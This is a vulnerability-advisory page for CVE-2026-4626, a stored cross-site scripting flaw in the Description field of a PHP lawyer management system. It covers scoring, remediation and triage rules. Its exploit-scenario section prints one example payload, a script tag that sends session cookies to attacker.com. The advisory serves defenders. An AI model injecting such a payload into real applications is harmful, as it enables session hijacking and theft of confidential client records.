Skip to main content

Lawyer Management System CVE-2026-4626

| EUVDEUVD-2026-14712 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-24 VulDB GHSA-5mf3-2qwq-wqgq
2.0
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS score of 3.5 appears low, the real-world risk is moderate when factoring in multiple signals. The attack vector is network-accessible (AV:N), requires low complexity (AC:L), and demands low privileges (PR:L) with user interaction (UI:R), making exploitation straightforward. The CVSS evidence tag (E:P) indicates proof-of-concept code is publicly available, significantly increasing exploitation likelihood. The key mitigating factor is the requirement for low-privilege user authentication and user interaction, which limits opportunistic attacks. However, the public POC disclosure on GitHub and the relatively simple nature of XSS vulnerabilities in PHP applications suggest this vulnerability will likely see active exploitation attempts. This is not a zero-day scenario; it is a known vulnerability with documented exploitation paths. Organizations running Lawyer Management System 1.0 should prioritize patching or upgrading, particularly if the application is internet-facing or processes sensitive client information (as is typical for legal practice management systems).

Exploit ScenarioDerived

An authenticated user with low-privilege access (such as a paralegal or receptionist) could craft a malicious booking request by injecting JavaScript code into the Description field of the /lawyer_booking.php form—for example, <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When a lawyer or administrator views the booking details, the injected script executes in their browser context, silently exfiltrating their session cookies to the attacker's server. The attacker could then impersonate the administrator to access client records, modify case information, or extract sensitive legal documents. The public POC available on GitHub lowers the barrier to entry, making this attack accessible to less-skilled threat actors.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 24, 2026

A stored cross-site scripting (XSS) vulnerability exists in projectworlds Lawyer Management System version 1.0 within the /lawyer_booking.php file, where the Description parameter fails to sanitize user input before rendering. An authenticated attacker can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions. A proof-of-concept exploit has been publicly disclosed on GitHub, and the vulnerability carries a CVSS score of 3.5 with evidence of public exploitation.

RemediationAI

Immediately upgrade projectworlds Lawyer Management System to the latest patched version released by the vendor (consult https://vuldb.com/?id.352494 for patch availability and version numbers). If an immediate patch is unavailable from the vendor, implement input validation and output encoding fixes by reviewing the /lawyer_booking.php file to ensure all user-supplied data in the Description parameter is sanitized using htmlspecialchars() with the ENT_QUOTES flag or equivalent encoding functions before rendering to HTML. Additionally, implement a Web Application Firewall (WAF) with XSS detection rules to block malicious payloads targeting the /lawyer_booking.php endpoint, and restrict administrative access to the booking module to trusted IP ranges. Conduct a security code review of all user-input handling in the application and implement Content Security Policy (CSP) headers to mitigate XSS impact even if input validation is bypassed.

Affected VersionsENISA

Lawyer Management System 1.0

Affected Packages

euvd lawyer_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a reflected or stored cross-site scripting (XSS) flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects the PHP-based Lawyer Management System (cpe:2.3:a:projectworlds:lawyer_management_system:*:*:*:*:*:*:*:*), specifically in the /lawyer_booking.php endpoint where the Description parameter is processed without adequate HTML entity encoding or input validation. The root cause stems from insufficient output encoding when user-supplied data is rendered to the HTML DOM, allowing attackers to break out of intended data contexts and inject arbitrary client-side code. This is a classic web application vulnerability in PHP applications that fail to utilize functions like htmlspecialchars() or equivalent sanitization libraries.

Know when Lawyer Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.1 (MEDIUM) 2.0 (LOW)
PoC Detected
Apr 08, 2026 - 19:14 vuln.today
Public exploit code
CVE Published
Mar 24, 2026 - 02:46 nvd
MEDIUM 5.1

DescriptionCVE.org

A vulnerability has been found in projectworlds Lawyer Management System 1.0. This impacts an unknown function of the file /lawyer_booking.php. The manipulation of the argument Description leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Executive ViewAI

Why It Matters

CVE-2026-4626 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 3.5). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.

Business Impact: Low
Compensating Controls

Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy